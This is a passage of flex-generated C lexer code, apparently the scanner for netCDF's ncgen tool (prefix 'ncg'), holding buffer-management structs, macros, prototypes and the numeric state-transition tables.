#define YY_TYPEDEF_YY_SIZE_T
typedef size_t yy_size_t;
#endif
#ifndef YY_STRUCT_YY_BUFFER_STATE
#define YY_STRUCT_YY_BUFFER_STATE
struct yy_buffer_state
{
FILE *yy_input_file;
char *yy_ch_buf; /* input buffer */
char *yy_buf_pos; /* current position in input buffer */
/* Size of input buffer in bytes, not including room for EOB
* characters.
*/
yy_size_t yy_buf_size;
/* Number of characters read into yy_ch_buf, not including EOB
* characters.
*/
int yy_n_chars;
/* Whether we "own" the buffer - i.e., we know we created it,
* and can realloc() it to grow it, and should free() it to
* delete it.
*/
int yy_is_our_buffer;
/* Whether this is an "interactive" input source; if so, and
* if we're using stdio for input, then we want to use getc()
* instead of fread(), to make sure we stop fetching input after
* each newline.
*/
int yy_is_interactive;
/* Whether we're considered to be at the beginning of a line.
* If so, '^' rules will be active on the next match, otherwise
* not.
*/
int yy_at_bol;
int yy_bs_lineno; /**< The line count. */
int yy_bs_column; /**< The column count. */
/* Whether to try to fill the input buffer when we reach the
* end of it.
*/
int yy_fill_buffer;
int yy_buffer_status;
#define YY_BUFFER_NEW 0
#define YY_BUFFER_NORMAL 1
/* When an EOF's been seen but there's still some text to process
* then we mark the buffer as YY_EOF_PENDING, to indicate that we
* shouldn't try reading from the input source any more. We might
* still have a bunch of tokens to match, though, because of
* possible backing-up.
*
* When we actually see the EOF, we change the status to "new"
* (via ncgrestart()), so that the user can continue scanning by
* just pointing ncgin at a new input file.
*/
#define YY_BUFFER_EOF_PENDING 2
};
#endif /* !YY_STRUCT_YY_BUFFER_STATE */
/* Stack of input buffers. */
static size_t yy_buffer_stack_top = 0; /**< index of top of stack. */
static size_t yy_buffer_stack_max = 0; /**< capacity of stack. */
static YY_BUFFER_STATE * yy_buffer_stack = 0; /**< Stack as an array. */
/* We provide macros for accessing buffer states in case in the
* future we want to put the buffer states in a more general
* "scanner state".
*
* Returns the top of the stack, or NULL.
*/
#define YY_CURRENT_BUFFER ( (yy_buffer_stack) \
? (yy_buffer_stack)[(yy_buffer_stack_top)] \
: NULL)
/* Same as previous macro, but useful when we know that the buffer stack is not
* NULL or when we need an lvalue. For internal use only.
*/
#define YY_CURRENT_BUFFER_LVALUE (yy_buffer_stack)[(yy_buffer_stack_top)]
/* yy_hold_char holds the character lost when ncgtext is formed. */
static char yy_hold_char;
static int yy_n_chars; /* number of characters read into yy_ch_buf */
int ncgleng;
/* Points to current character in buffer. */
static char *yy_c_buf_p = (char *) 0;
static int yy_init = 0; /* whether we need to initialize */
static int yy_start = 0; /* start state number */
/* Flag which is used to allow ncgwrap()'s to do buffer switches
* instead of setting up a fresh ncgin. A bit of a hack ...
*/
static int yy_did_buffer_switch_on_eof;
void ncgrestart (FILE *input_file );
void ncg_switch_to_buffer (YY_BUFFER_STATE new_buffer );
YY_BUFFER_STATE ncg_create_buffer (FILE *file,int size );
void ncg_delete_buffer (YY_BUFFER_STATE b );
void ncg_flush_buffer (YY_BUFFER_STATE b );
void ncgpush_buffer_state (YY_BUFFER_STATE new_buffer );
void ncgpop_buffer_state (void );
static void ncgensure_buffer_stack (void );
static void ncg_load_buffer_state (void );
static void ncg_init_buffer (YY_BUFFER_STATE b,FILE *file );
#define YY_FLUSH_BUFFER ncg_flush_buffer(YY_CURRENT_BUFFER )
YY_BUFFER_STATE ncg_scan_buffer (char *base,yy_size_t size );
YY_BUFFER_STATE ncg_scan_string (yyconst char *yy_str );
YY_BUFFER_STATE ncg_scan_bytes (yyconst char *bytes,int len );
void *ncgalloc (yy_size_t );
void *ncgrealloc (void *,yy_size_t );
void ncgfree (void * );
#define yy_new_buffer ncg_create_buffer
#define yy_set_interactive(is_interactive) \
{ \
if ( ! YY_CURRENT_BUFFER ){ \
ncgensure_buffer_stack (); \
YY_CURRENT_BUFFER_LVALUE = \
ncg_create_buffer(ncgin,YY_BUF_SIZE ); \
} \
YY_CURRENT_BUFFER_LVALUE->yy_is_interactive = is_interactive; \
}
#define yy_set_bol(at_bol) \
{ \
if ( ! YY_CURRENT_BUFFER ){\
ncgensure_buffer_stack (); \
YY_CURRENT_BUFFER_LVALUE = \
ncg_create_buffer(ncgin,YY_BUF_SIZE ); \
} \
YY_CURRENT_BUFFER_LVALUE->yy_at_bol = at_bol; \
}
#define YY_AT_BOL() (YY_CURRENT_BUFFER_LVALUE->yy_at_bol)
/* Begin user sect3 */
typedef unsigned char YY_CHAR;
FILE *ncgin = (FILE *) 0, *ncgout = (FILE *) 0;
typedef int yy_state_type;
extern int ncglineno;
int ncglineno = 1;
extern char *ncgtext;
#define yytext_ptr ncgtext
static yy_state_type yy_get_previous_state (void );
static yy_state_type yy_try_NUL_trans (yy_state_type current_state );
static int yy_get_next_buffer (void );
static void yy_fatal_error (yyconst char msg[] );
/* Done after the current pattern has been matched and before the
* corresponding action - sets up ncgtext.
*/
#define YY_DO_BEFORE_ACTION \
(yytext_ptr) = yy_bp; \
ncgleng = (size_t) (yy_cp - yy_bp); \
(yy_hold_char) = *yy_cp; \
*yy_cp = '\0'; \
(yy_c_buf_p) = yy_cp;
#define YY_NUM_RULES 30
#define YY_END_OF_BUFFER 31
/* This struct is not used in this scanner,
but its presence is necessary. */
struct yy_trans_info
{
flex_int32_t yy_verify;
flex_int32_t yy_nxt;
};
static yyconst flex_int16_t yy_accept[264] =
{ 0,
0, 0, 31, 29, 28, 17, 29, 29, 29, 29,
19, 29, 22, 22, 16, 16, 16, 16, 16, 16,
16, 16, 16, 16, 16, 16, 16, 29, 16, 16,
16, 16, 16, 16, 16, 16, 16, 16, 16, 29,
29, 29, 28, 0, 2, 0, 0, 0, 19, 22,
22, 0, 0, 19, 19, 0, 20, 1, 23, 23,
18, 23, 22, 21, 0, 22, 18, 16, 0, 0,
0, 0, 16, 16, 16, 16, 16, 16, 16, 16,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
16, 16, 16, 16, 16, 0, 0, 24, 0, 0,
0, 0, 0, 19, 0, 0, 19, 1, 23, 19,
23, 0, 0, 16, 16, 16, 16, 16, 16, 16,
16, 16, 16, 7, 16, 16, 16, 14, 16, 16,
16, 16, 16, 16, 16, 16, 16, 16, 7, 16,
16, 16, 16, 16, 16, 0, 27, 25, 0, 0,
19, 0, 19, 20, 19, 0, 5, 4, 16, 16,
16, 16, 16, 16, 16, 15, 16, 7, 16, 3,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
16, 16, 16, 25, 0, 26, 0, 15, 0, 12,
16, 16, 16, 16, 16, 16, 16, 6, 16, 16,
16, 16, 16, 16, 16, 16, 16, 0, 16, 8,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
16, 0, 16, 16, 16, 16, 0, 16, 16, 16,
16, 16, 0, 16, 16, 13, 13, 16, 16, 16,
16, 16, 14, 16, 9, 16, 16, 16, 16, 11,
16, 10, 0
} ;
static yyconst flex_int32_t yy_ec[256] =
{ 0,
1, 1, 1, 1, 1, 1, 1, 1, 2, 3,
1, 4, 4, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 5, 6, 7, 6, 6, 6, 6, 8, 6,
6, 6, 9, 6, 10, 11, 12, 13, 14, 14,
14, 14, 14, 14, 14, 15, 15, 16, 6, 6,
6, 6, 6, 17, 18, 19, 20, 21, 22, 23,
24, 25, 26, 27, 27, 28, 29, 30, 31, 27,
27, 32, 33, 34, 35, 36, 27, 37, 38, 27,
6, 39, 6, 6, 27, 6, 40, 41, 42, 43,
44, 45, 46, 47, 48, 27, 27, 49, 50, 51,
52, 27, 27, 53, 54, 55, 56, 57, 27, 37,
58, 27, 59, 6, 6, 6, 1, 60, 60, 60,
60, 60, 60, 60, 60, 60, 60, 60, 60, 60,
60, 60, 60, 60, 60, 60, 60, 60, 60, 60,
60, 60, 60, 60, 60, 60, 60, 60, 60, 60,
60, 60, 60, 60, 60, 60, 60, 60, 60, 60,
60, 60, 60, 60, 60, 60, 60, 60, 60, 60,
60, 60, 60, 60, 60, 60, 60, 60, 60, 60,
60, 61, 61, 61, 61, 61, 61, 61, 61, 61,
61, 61, 61, 61, 61, 61, 61, 61, 61, 61,
61, 61, 61, 61, 1, 1, 1, 1, 1, 1,
1, 1, 1, 62, 62, 62, 62, 62, 62, 62,
62, 62, 62, 62, 62, 62, 62, 62, 62, 63,
63, 63, 63, 63, 63, 63, 63, 1, 1, 1,
1, 1, 1, 1, 1
} ;
static yyconst flex_int32_t yy_meta[64] =
{ 0,
1, 1, 2, 1, 1, 1, 1, 3, 4, 4,
4, 1, 5, 5, 5, 1, 4, 5, 5, 5,
5, 5, 5, 4, 4, 4, 4, 6, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 5,
5, 5, 5, 5, 5, 4, 4, 4, 6, 4,
4, 4, 4, 4, 4, 4, 4, 4, 7, 1,
4, 4, 4
} ;
static yyconst flex_int16_t yy_base[274] =
{ 0,
0, 0, 359, 1375, 62, 1375, 58, 317, 57, 62,
94, 342, 133, 177, 30, 42, 57, 132, 118, 50,
172, 63, 146, 167, 175, 183, 180, 72, 193, 200,
218, 210, 213, 226, 238, 246, 255, 252, 258, 272,
271, 265, 160, 91, 1375, 309, 298, 122, 0, 127,
0, 313, 245, 0, 1375, 320, 1375, 0, 46, 72,
155, 327, 1375, 1375, 0, 0, 1375, 285, 344, 233,
226, 224, 304, 335, 323, 329, 338, 332, 365, 416,
350, 371, 380, 401, 386, 411, 421, 436, 427, 441,
453, 432, 457, 447, 462, 472, 482, 487, 491, 508,
501, 466, 516, 512, 519, 200, 180, 1375, 217, 297,
212, 175, 202, 570, 167, 254, 573, 0, 1375, 600,
571, 141, 137, 568, 573, 585, 578, 613, 603, 594,
598, 632, 623, 629, 657, 648, 638, 664, 669, 674,
678, 689, 685, 703, 682, 710, 714, 718, 723, 743,
748, 739, 730, 755, 759, 107, 1375, 1375, 331, 152,
1375, 124, 199, 255, 1375, 89, 769, 773, 780, 784,
787, 790, 794, 799, 820, 824, 827, 830, 837, 833,
840, 868, 886, 889, 871, 874, 899, 878, 905, 914,
917, 920, 924, 1375, 137, 1375, 126, 1375, 78, 1375,
932, 951, 945, 962, 970, 957, 976, 965, 990, 983,
995, 1003, 1011, 1020, 1015, 1023, 1028, 75, 1049, 1031,
1061, 1056, 1064, 1074, 1099, 1081, 1069, 1102, 1094, 1112,
1109, 59, 1115, 1129, 1140, 1147, 248, 1159, 1165, 1154,
1150, 1175, 52, 1193, 1179, 0, 290, 1186, 1196, 1200,
1207, 1213, 1375, 1227, 1232, 1248, 1238, 1257, 1263, 1375,
1266, 1375, 1375, 1329, 1336, 1340, 1346, 1353, 1356, 85,
1360, 1363, 1368
} ;
static yyconst flex_int16_t yy_def[274] =
{ 0,
263, 1, 263, 263, 263, 263, 264, 265, 263, 263,
263, 263, 263, 263, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 266, 266, 263, 266, 266,
266, 266, 266, 266, 266, 266, 266, 266, 266, 263,
263, 263, 263, 264, 263, 264, 263, 267, 11, 14,
14, 263, 263, 11, 263, 263, 263, 268, 13, 269,
269, 269, 263, 263, 270, 14, 263, 266, 263, 263,
263, 263, 266, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 263, 263, 263, 263, 263,
271, 50, 263, 263, 263, 263, 263, 268, 263, 62,
270, 263, 263, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 263, 263, 263, 263, 272,
263, 263, 269, 269, 263, 263, 266, 266, 266, 266,
266, 266, 266, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 263, 263, 263, 263, 263, 263, 263,
266, 266, 266, 266, 266, 266, 266, 266, 266, 266,
266, 266, 266, 266, 266, 266, 266, 263, 266, 266,
266, 266, 266, 266, 266, 266, 266, 266, 266, 266,
266, 263, 266, 266, 266, 266, 273, 266, 266, 266,
266, 266, 263, 266, 266, 273, 273, 266, 266, 266,
266, 266, 263, 266, 266, 266, 266, 266, 266, 263,
266, 263, 0, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263
} ;
static yyconst flex_int16_t yy_nxt[1439] =
{ 0,
4, 5, 6, 5, 5, 4, 7, 8, 9, 10,
11, 12, 13, 14, 14, 4, 4, 15, 16, 17,
18, 19, 20, 15, 15, 21, 15, 22, 15, 23,
15, 24, 25, 15, 26, 27, 15, 15, 28, 15,
29, 30, 31, 19, 32, 15, 15, 33, 34, 15,
35, 15, 36, 37, 15, 38, 39, 15, 4, 4,
40, 41, 42, 43, 45, 43, 43, 49, 69, 50,
51, 51, 49, 119, 50, 51, 51, 81, 52, 73,
69, 74, 263, 52, 92, 92, 92, 53, 69, 121,
70, 71, 72, 85, 119, 69, 46, 45, 82, 119,
52, 69, 70, 71, 72, 52, 54, 54, 54, 253,
70, 71, 72, 243, 55, 56, 57, 70, 71, 72,
119, 55, 232, 70, 71, 72, 79, 79, 218, 46,
80, 80, 80, 196, 110, 110, 55, 56, 57, 112,
112, 112, 55, 49, 194, 59, 59, 59, 68, 75,
60, 61, 60, 60, 62, 60, 69, 76, 111, 196,
63, 43, 77, 43, 43, 64, 92, 86, 198, 65,
69, 199, 60, 61, 60, 60, 62, 60, 70, 71,
72, 63, 119, 78, 69, 87, 64, 49, 88, 66,
66, 66, 70, 71, 72, 67, 166, 91, 52, 89,
68, 83, 263, 119, 63, 69, 70, 71, 72, 64,
69, 162, 90, 69, 114, 114, 114, 67, 69, 157,
52, 69, 84, 263, 157, 63, 119, 70, 71, 72,
64, 69, 70, 71, 72, 70, 71, 72, 69, 156,
70, 71, 72, 70, 71, 72, 94, 119, 69, 247,
93, 69, 247, 70, 71, 72, 69, 95, 98, 92,
70, 71, 72, 99, 69, 96, 117, 117, 117, 97,
70, 71, 72, 70, 71, 72, 69, 100, 70, 71,
72, 101, 119, 123, 69, 122, 70, 71, 72, 102,
69, 247, 68, 69, 247, 115, 69, 105, 70, 71,
72, 103, 104, 119, 158, 108, 70, 71, 72, 159,
159, 263, 70, 71, 72, 70, 71, 72, 70, 71,
72, 113, 113, 69, 107, 114, 114, 114, 116, 116,
106, 92, 117, 117, 117, 113, 113, 124, 194, 120,
120, 120, 69, 195, 195, 70, 71, 72, 68, 68,
68, 68, 125, 58, 119, 48, 126, 127, 263, 68,
263, 69, 263, 263, 70, 71, 72, 69, 263, 263,
69, 263, 128, 69, 263, 119, 69, 80, 80, 80,
132, 263, 68, 70, 71, 72, 263, 129, 69, 70,
71, 72, 70, 71, 72, 70, 71, 72, 70, 71,
72, 263, 68, 69, 263, 263, 263, 263, 263, 69,
70, 71, 72, 134, 263, 136, 263, 263, 69, 263,
263, 263, 133, 263, 69, 70, 71, 72, 80, 80,
80, 70, 71, 72, 263, 263, 130, 263, 131, 69,
70, 71, 72, 130, 137, 135, 70, 71, 72, 69,
138, 263, 263, 139, 69, 263, 263, 140, 130, 69,
131, 70, 71, 72, 130, 69, 263, 263, 141, 263,
69, 70, 71, 72, 69, 263, 70, 71, 72, 69,
263, 70, 71, 72, 142, 69, 144, 70, 71, 72,
263, 69, 70, 71, 72, 69, 70, 71, 72, 263,
69, 70, 71, 72, 69, 152, 263, 70, 71, 72,
69, 143, 263, 70, 71, 72, 145, 70, 71, 72,
69, 146, 70, 71, 72, 69, 70, 71, 72, 69,
263, 263, 70, 71, 72, 263, 263, 147, 148, 69,
263, 263, 70, 71, 72, 149, 69, 70, 71, 72,
69, 70, 71, 72, 69, 151, 263, 69, 150, 263,
154, 70, 71, 72, 263, 263, 263, 153, 70, 71,
72, 155, 70, 71, 72, 263, 70, 71, 72, 70,
71, 72, 114, 114, 114, 117, 117, 117, 263, 167,
161, 263, 57, 55, 263, 57, 263, 161, 119, 170,
55, 263, 169, 64, 168, 263, 69, 263, 263, 263,
263, 69, 161, 263, 57, 55, 69, 57, 161, 119,
163, 55, 164, 69, 64, 263, 263, 165, 70, 71,
72, 171, 69, 70, 71, 72, 69, 263, 70, 71,
72, 69, 163, 172, 164, 70, 71, 72, 165, 173,
175, 69, 263, 263, 70, 71, 72, 179, 70, 71,
72, 69, 174, 70, 71, 72, 263, 69, 263, 263,
69, 178, 263, 70, 71, 72, 69, 263, 263, 263,
263, 263, 263, 70, 71, 72, 69, 263, 263, 70,
71, 72, 70, 71, 72, 69, 180, 263, 70, 71,
72, 176, 69, 182, 177, 181, 263, 69, 70, 71,
72, 263, 69, 263, 183, 263, 69, 70, 71, 72,
69, 184, 263, 69, 70, 71, 72, 69, 167, 70,
71, 72, 263, 263, 70, 71, 72, 263, 70, 71,
72, 69, 70, 71, 72, 70, 71, 72, 69, 70,
71, 72, 69, 185, 186, 168, 69, 187, 263, 263,
263, 69, 263, 70, 71, 72, 188, 189, 69, 263,
70, 71, 72, 263, 70, 71, 72, 69, 70, 71,
72, 69, 191, 70, 71, 72, 69, 180, 178, 190,
70, 71, 72, 69, 263, 200, 263, 69, 263, 70,
71, 72, 192, 70, 71, 72, 193, 69, 70, 71,
72, 69, 263, 201, 202, 70, 71, 72, 69, 70,
71, 72, 69, 263, 263, 69, 263, 180, 69, 70,
71, 72, 69, 70, 71, 72, 263, 69, 203, 263,
70, 71, 72, 205, 70, 71, 72, 70, 71, 72,
70, 71, 72, 204, 70, 71, 72, 207, 69, 70,
71, 72, 69, 263, 263, 69, 263, 263, 69, 263,
263, 69, 263, 208, 263, 69, 263, 206, 69, 263,
70, 71, 72, 263, 70, 71, 72, 70, 71, 72,
70, 71, 72, 70, 71, 72, 209, 70, 71, 72,
70, 71, 72, 210, 200, 263, 69, 263, 263, 69,
263, 263, 69, 263, 263, 263, 69, 263, 263, 263,
263, 211, 212, 213, 69, 214, 263, 69, 70, 71,
72, 70, 71, 72, 70, 71, 72, 69, 70, 71,
72, 263, 263, 69, 263, 263, 70, 71, 72, 70,
71, 72, 69, 180, 263, 69, 215, 263, 69, 70,
71, 72, 69, 217, 219, 70, 71, 72, 263, 216,
69, 208, 220, 263, 70, 71, 72, 70, 71, 72,
70, 71, 72, 69, 70, 71, 72, 222, 221, 69,
263, 223, 70, 71, 72, 69, 263, 263, 225, 263,
69, 227, 263, 69, 224, 70, 71, 72, 69, 263,
263, 70, 71, 72, 69, 226, 263, 70, 71, 72,
263, 69, 70, 71, 72, 70, 71, 72, 69, 263,
70, 71, 72, 69, 263, 263, 70, 71, 72, 263,
263, 69, 225, 70, 71, 72, 220, 263, 228, 69,
70, 71, 72, 69, 229, 70, 71, 72, 69, 225,
263, 69, 263, 70, 71, 72, 69, 263, 231, 69,
230, 70, 71, 72, 233, 70, 71, 72, 263, 263,
70, 71, 72, 70, 71, 72, 234, 69, 70, 71,
72, 70, 71, 72, 69, 178, 239, 263, 263, 69,
237, 263, 69, 237, 263, 263, 235, 69, 263, 70,
71, 72, 69, 263, 238, 263, 70, 71, 72, 69,
263, 70, 71, 72, 70, 71, 72, 263, 236, 70,
71, 72, 69, 263, 70, 71, 72, 69, 263, 263,
69, 70, 71, 72, 263, 244, 178, 69, 263, 240,
69, 263, 263, 69, 70, 71, 72, 242, 263, 70,
71, 72, 70, 71, 72, 263, 241, 69, 263, 70,
71, 72, 70, 71, 72, 70, 71, 72, 69, 245,
248, 263, 263, 263, 176, 69, 249, 263, 69, 70,
71, 72, 69, 251, 263, 263, 263, 69, 263, 263,
70, 71, 72, 69, 138, 250, 255, 70, 71, 72,
70, 71, 72, 69, 70, 71, 72, 69, 252, 70,
71, 72, 254, 138, 69, 70, 71, 72, 256, 263,
263, 69, 263, 263, 69, 70, 71, 72, 69, 70,
71, 72, 263, 263, 263, 69, 70, 71, 72, 255,
257, 69, 263, 70, 71, 72, 70, 71, 72, 259,
70, 71, 72, 260, 263, 69, 258, 70, 71, 72,
69, 263, 260, 70, 71, 72, 69, 263, 262, 263,
263, 262, 263, 263, 263, 263, 69, 70, 71, 72,
263, 261, 70, 71, 72, 69, 263, 263, 70, 71,
72, 69, 263, 263, 69, 263, 263, 263, 70, 71,
72, 263, 263, 263, 263, 263, 263, 70, 71, 72,
263, 263, 263, 70, 71, 72, 70, 71, 72, 44,
44, 44, 44, 44, 44, 44, 47, 47, 47, 47,
47, 47, 47, 68, 68, 68, 109, 263, 109, 109,
109, 109, 109, 118, 263, 118, 118, 118, 118, 118,
60, 60, 160, 263, 160, 197, 263, 197, 246, 246,
246, 246, 246, 246, 3, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263
} ;
static yyconst flex_int16_t yy_chk[1439] =
{ 0,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 5, 7, 5, 5, 9, 15, 9,
9, 9, 10, 59, 10, 10, 10, 20, 9, 16,
16, 17, 59, 10, 28, 28, 28, 10, 20, 270,
15, 15, 15, 22, 59, 17, 7, 44, 20, 60,
9, 22, 16, 16, 16, 10, 11, 11, 11, 243,
20, 20, 20, 232, 11, 11, 11, 17, 17, 17,
60, 11, 218, 22, 22, 22, 19, 19, 199, 44,
19, 19, 19, 197, 48, 48, 11, 11, 11, 50,
50, 50, 11, 13, 195, 13, 13, 13, 166, 18,
13, 13, 13, 13, 13, 13, 19, 18, 48, 160,
13, 43, 18, 43, 43, 13, 156, 23, 162, 13,
18, 162, 13, 13, 13, 13, 13, 13, 19, 19,
19, 13, 61, 18, 23, 23, 13, 14, 24, 14,
14, 14, 18, 18, 18, 14, 123, 27, 14, 25,
122, 21, 112, 61, 14, 24, 23, 23, 23, 14,
21, 115, 26, 25, 113, 113, 113, 14, 27, 111,
14, 26, 21, 112, 109, 14, 163, 24, 24, 24,
14, 29, 21, 21, 21, 25, 25, 25, 30, 107,
27, 27, 27, 26, 26, 26, 30, 163, 32, 237,
29, 33, 237, 29, 29, 29, 31, 31, 32, 106,
30, 30, 30, 33, 34, 31, 116, 116, 116, 31,
32, 32, 32, 33, 33, 33, 35, 34, 31, 31,
31, 35, 164, 72, 36, 71, 34, 34, 34, 36,
38, 247, 70, 37, 247, 53, 39, 39, 35, 35,
35, 37, 38, 164, 110, 47, 36, 36, 36, 110,
110, 46, 38, 38, 38, 37, 37, 37, 39, 39,
39, 52, 52, 68, 42, 52, 52, 52, 56, 56,
41, 40, 56, 56, 56, 62, 62, 73, 159, 62,
62, 62, 73, 159, 159, 68, 68, 68, 69, 69,
69, 69, 74, 12, 62, 8, 75, 76, 3, 69,
0, 75, 0, 0, 73, 73, 73, 76, 0, 0,
78, 0, 77, 74, 0, 62, 77, 79, 79, 79,
81, 0, 69, 75, 75, 75, 0, 78, 81, 76,
76, 76, 78, 78, 78, 74, 74, 74, 77, 77,
77, 0, 69, 79, 0, 0, 0, 0, 0, 82,
81, 81, 81, 83, 0, 85, 0, 0, 83, 0,
0, 0, 82, 0, 85, 79, 79, 79, 80, 80,
80, 82, 82, 82, 0, 0, 80, 0, 80, 84,
83, 83, 83, 80, 86, 84, 85, 85, 85, 86,
87, 0, 0, 88, 80, 0, 0, 89, 80, 87,
80, 84, 84, 84, 80, 89, 0, 0, 90, 0,
92, 86, 86, 86, 88, 0, 80, 80, 80, 90,
0, 87, 87, 87, 91, 94, 94, 89, 89, 89,
0, 91, 92, 92, 92, 93, 88, 88, 88, 0,
95, 90, 90, 90, 102, 102, 0, 94, 94, 94,
96, 93, 0, 91, 91, 91, 95, 93, 93, 93,
97, 96, 95, 95, 95, 98, 102, 102, 102, 99,
0, 0, 96, 96, 96, 0, 0, 97, 98, 101,
0, 0, 97, 97, 97, 99, 100, 98, 98, 98,
104, 99, 99, 99, 103, 101, 0, 105, 100, 0,
104, 101, 101, 101, 0, 0, 0, 103, 100, 100,
100, 105, 104, 104, 104, 0, 103, 103, 103, 105,
105, 105, 114, 114, 114, 117, 117, 117, 0, 124,
114, 0, 114, 117, 0, 117, 0, 114, 121, 127,
117, 0, 126, 121, 125, 0, 124, 0, 120, 120,
0, 125, 114, 0, 114, 117, 127, 117, 114, 121,
120, 117, 120, 126, 121, 0, 0, 120, 124, 124,
124, 128, 130, 125, 125, 125, 131, 0, 127, 127,
127, 129, 120, 129, 120, 126, 126, 126, 120, 132,
134, 128, 0, 0, 130, 130, 130, 137, 131, 131,
131, 133, 133, 129, 129, 129, 0, 134, 0, 0,
132, 136, 0, 128, 128, 128, 137, 0, 0, 0,
0, 0, 0, 133, 133, 133, 136, 0, 0, 134,
134, 134, 132, 132, 132, 135, 139, 0, 137, 137,
137, 135, 138, 141, 135, 140, 0, 139, 136, 136,
136, 0, 140, 0, 142, 0, 141, 135, 135, 135,
145, 145, 0, 143, 138, 138, 138, 142, 143, 139,
139, 139, 0, 0, 140, 140, 140, 0, 141, 141,
141, 144, 145, 145, 145, 143, 143, 143, 146, 142,
142, 142, 147, 146, 147, 144, 148, 148, 0, 0,
0, 149, 0, 144, 144, 144, 149, 151, 153, 0,
146, 146, 146, 0, 147, 147, 147, 152, 148, 148,
148, 150, 153, 149, 149, 149, 151, 152, 150, 151,
153, 153, 153, 154, 0, 169, 0, 155, 0, 152,
152, 152, 154, 150, 150, 150, 155, 167, 151, 151,
151, 168, 0, 170, 171, 154, 154, 154, 169, 155,
155, 155, 170, 0, 0, 171, 0, 173, 172, 167,
167, 167, 173, 168, 168, 168, 0, 174, 172, 0,
169, 169, 169, 175, 170, 170, 170, 171, 171, 171,
172, 172, 172, 174, 173, 173, 173, 179, 175, 174,
174, 174, 176, 0, 0, 177, 0, 0, 178, 0,
0, 180, 0, 181, 0, 179, 0, 177, 181, 0,
175, 175, 175, 0, 176, 176, 176, 177, 177, 177,
178, 178, 178, 180, 180, 180, 182, 179, 179, 179,
181, 181, 181, 183, 184, 0, 182, 0, 0, 185,
0, 0, 186, 0, 0, 0, 188, 0, 0, 0,
0, 185, 186, 188, 183, 189, 0, 184, 182, 182,
182, 185, 185, 185, 186, 186, 186, 187, 188, 188,
188, 0, 0, 189, 0, 0, 183, 183, 183, 184,
184, 184, 190, 187, 0, 191, 190, 0, 192, 187,
187, 187, 193, 193, 201, 189, 189, 189, 0, 192,
201, 191, 202, 0, 190, 190, 190, 191, 191, 191,
192, 192, 192, 203, 193, 193, 193, 204, 203, 202,
0, 205, 201, 201, 201, 206, 0, 0, 207, 0,
204, 210, 0, 208, 206, 203, 203, 203, 205, 0,
0, 202, 202, 202, 207, 209, 0, 206, 206, 206,
0, 210, 204, 204, 204, 208, 208, 208, 209, 0,
205, 205, 205, 211, 0, 0, 207, 207, 207, 0,
0, 212, 214, 210, 210, 210, 212, 0, 211, 213,
209, 209, 209, 215, 213, 211, 211, 211, 214, 215,
0, 216, 0, 212, 212, 212, 217, 0, 217, 220,
216, 213, 213, 213, 219, 215, 215, 215, 0, 0,
214, 214, 214, 216, 216, 216, 221, 219, 217, 217,
217, 220, 220, 220, 222, 223, 227, 0, 0, 221,
225, 0, 223, 225, 0, 0, 222, 227, 0, 219,
219, 219, 224, 0, 226, 0, 222, 222, 222, 226,
0, 221, 221, 221, 223, 223, 223, 0, 224, 227,
227, 227, 229, 0, 224, 224, 224, 225, 0, 0,
228, 226, 226, 226, 0, 233, 229, 231, 0, 228,
230, 0, 0, 233, 229, 229, 229, 231, 0, 225,
225, 225, 228, 228, 228, 0, 230, 234, 0, 231,
231, 231, 230, 230, 230, 233, 233, 233, 235, 234,
238, 0, 0, 0, 235, 236, 239, 0, 241, 234,
234, 234, 240, 241, 0, 0, 0, 238, 0, 0,
235, 235, 235, 239, 236, 240, 248, 236, 236, 236,
241, 241, 241, 242, 240, 240, 240, 245, 242, 238,
238, 238, 244, 245, 248, 239, 239, 239, 249, 0,
0, 244, 0, 0, 249, 242, 242, 242, 250, 245,
245, 245, 0, 0, 0, 251, 248, 248, 248, 251,
250, 252, 0, 244, 244, 244, 249, 249, 249, 254,
250, 250, 250, 256, 0, 254, 252, 251, 251, 251,
255, 0, 258, 252, 252, 252, 257, 0, 259, 0,
0, 261, 0, 0, 0, 0, 256, 254, 254, 254,
0, 257, 255, 255, 255, 258, 0, 0, 257, 257,
257, 259, 0, 0, 261, 0, 0, 0, 256, 256,
256, 0, 0, 0, 0, 0, 0, 258, 258, 258,
0, 0, 0, 259, 259, 259, 261, 261, 261, 264,
264, 264, 264, 264, 264, 264, 265, 265, 265, 265,
265, 265, 265, 266, 266, 266, 267, 0, 267, 267,
267, 267, 267, 268, 0, 268, 268, 268, 268, 268,
269, 269, 271, 0, 271, 272, 0, 272, 273, 273,
273, 273, 273, 273, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263, 263, 263,
263, 263, 263, 263, 263, 263, 263, 263
} ;
static yy_state_type yy_last_accepting_state;
static char *yy_last_accepting_cpos;
